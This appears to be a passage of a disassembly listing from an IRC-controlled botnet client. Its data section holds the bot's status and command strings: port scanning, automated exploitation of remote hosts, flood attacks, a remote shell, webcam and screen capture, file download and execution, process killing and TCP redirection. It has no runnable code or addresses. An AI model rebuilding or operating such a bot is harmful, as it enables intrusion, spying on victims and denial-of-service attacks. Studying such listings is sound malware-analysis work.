unk_42B87C db 2 ; DATA XREF: sub_40D2E0+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_42B8C4 db 2 ; DATA XREF: sub_40D2E0+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B90C db 2 ; DATA XREF: sub_40D2E0+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_42B938 db 2 ; DATA XREF: sub_40D2E0+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_42B984 db 2 ; DATA XREF: sub_40D2E0+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_42B9BC db 2 ; DATA XREF: sub_40D2E0:loc_4124A7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 10h unk_42BA00 db 2 ; DATA XREF: sub_40D2E0+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_42BA78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_42BAAC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_42BADC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_42BB0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_42BB34 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_4120CCo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_42BB70 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40D2E0+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_42BBA4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_41207Fo dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_42BBDC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40D2E0+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40D2E0+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+4CE1o ; sub_40D2E0:loc_412FBAo align 4 dword_42BC28 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4C68o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_42BC5C db 3 ; DATA XREF: sub_40D2E0:loc_411F33o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 10h unk_42BCA0 db 3 ; DATA XREF: sub_40D2E0+4C49o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_42BCDC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4C29o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_42BD10 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_411EBDo dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_42BD48 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4BB2o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_42BD74 db 2 ; DATA XREF: sub_40D2E0:loc_411E5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_42BDB4 db 2 ; DATA XREF: sub_40D2E0+4B74o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_42BDE8 db 2 ; DATA XREF: sub_40D2E0:loc_411DFEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_42BE2C db 2 ; DATA XREF: sub_40D2E0+4B17o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_42BE64 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40D2E0+4AD2o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_42BE90 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4A4Do dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_42BEC4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40D2E0+49D2o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_42BEE8 db 2 ; DATA XREF: sub_40D2E0+49B4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_42BF34 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40D2E0+4945o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_42BF5C dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40D2E0:loc_411BB3o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_42BF88 db 2 ; DATA XREF: sub_40D2E0+48C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_42BFB4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4898o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_42BFDC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+488Do dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_42C018 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+484Do dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_42C048 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4839o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_42C07C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_411AA7o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_42C0C8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_411A9Do dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_42C118 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0+47B3o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_40D2E0:loc_411A0Eo align 4 dword_42C15C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_4119FBo dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 4 dword_42C1A4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_4119F4o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_42C1E8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0+4704o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_40D2E0:loc_411968o align 4 dword_42C22C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0+467Bo dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_42C260 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0+4645o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40D2E0:loc_4118D1o dword_42C29C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_4118BEo dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_42C2E4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0:loc_4118B7o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_42C320 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40D2E0+45C7o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40D2E0:loc_41186Eo align 4 dword_42C364 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4576o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_42C38C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4532o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_42C3CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4516o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 10h dword_42C400 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4496o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_42C42C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+445Fo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_42C458 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+4411o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_42C484 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_42C4A8 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40D2E0+4366o ; sub_40D2E0+4E78o dword_42C4B4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+433Fo dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 10h aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+432Eo align 4 dword_42C4EC dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40D2E0+4305o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_42C518 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40D2E0+4297o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_42C544 dd 45444F4Dh, 732520h ; DATA XREF: sub_40D2E0+423Fo dword_42C54C dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40D2E0+4212o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_42C578 dd 4B43494Eh, 732520h ; DATA XREF: sub_40D2E0+41B9o ; sub_40D2E0+4CADo dword_42C580 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40D2E0+419Ao dword_42C58C dd 0A0D7325h, 0 ; DATA XREF: sub_40D2E0+4165o ; sub_40D2E0+41EEo ... dword_42C594 dd 54524150h, 732520h ; DATA XREF: sub_40D2E0+4130o dword_42C59C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_4113FDo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h dword_42C5E0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+40E6o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40D2E0+4092o align 10h dword_42C610 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_41132Ao dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_42C634 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40D2E0+400Ao ; sub_40D2E0+40BDo ... unk_42C644 db 2 ; DATA XREF: sub_40D2E0:loc_411297o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_42C698 db 2 ; DATA XREF: sub_40D2E0+3FADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_42C6E4 db 2 ; DATA XREF: sub_40D2E0+3F3Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40D2E0+3E95o align 4 dword_42C72C dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40D2E0+3E33o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_42C754 db 2 ; DATA XREF: sub_40D2E0+3E28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_42C788 db 2 ; DATA XREF: sub_40D2E0+3DA0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_42C7D4 db 2 ; DATA XREF: sub_40D2E0+3D26o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_42C814 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40D2E0:loc_410F67o ; sub_40D2E0:loc_411DD0o dd 0BBBB0220h, 2002h unk_42C830 db 2 ; DATA XREF: sub_40D2E0+3C6Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42C864 db 2 ; DATA XREF: sub_40D2E0:loc_410F2Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_42C8AC db 2 ; DATA XREF: sub_40D2E0+3C43o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42C8F4 db 2 ; DATA XREF: sub_40D2E0+3BCFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 10h unk_42C930 db 2 ; DATA XREF: sub_40D2E0+3B4Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_42C978 db 2 ; DATA XREF: sub_40D2E0+3ADDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_42C9B8 db 2 ; DATA XREF: sub_40D2E0+3A55o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_42CA00 db 2 ; DATA XREF: sub_40D2E0+39E6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 10h dword_42CA40 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+3948o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42CA88 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+38D7o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_42CAC4 db 2 ; DATA XREF: sub_40D2E0+385Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_42CB14 db 2 ; DATA XREF: sub_40D2E0+37EFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 10h unk_42CB50 db 2 ; DATA XREF: sub_40D2E0+371Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_42CBA4 db 2 ; DATA XREF: sub_40D2E0+36AEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_42CBF0 db 2 ; DATA XREF: sub_40D2E0+3620o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_42CC3C db 2 ; DATA XREF: sub_40D2E0+35B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40D2E0+352Do align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40D2E0+3430o align 4 dword_42CCA8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40D2E0+33A2o ; sub_40D2E0+43EFo unk_42CCB4 db 2 ; DATA XREF: sub_40D2E0+3340o ; sub_40D2E0+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_42CCFC db 2 ; DATA XREF: sub_40D2E0+32D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40D2E0+32A6o ; sub_40D2E0+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40D2E0+329Fo ; sub_40D2E0+50D6o align 10h unk_42CD80 db 2 ; DATA XREF: sub_40D2E0+3161o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_42CDC4 db 2 ; DATA XREF: 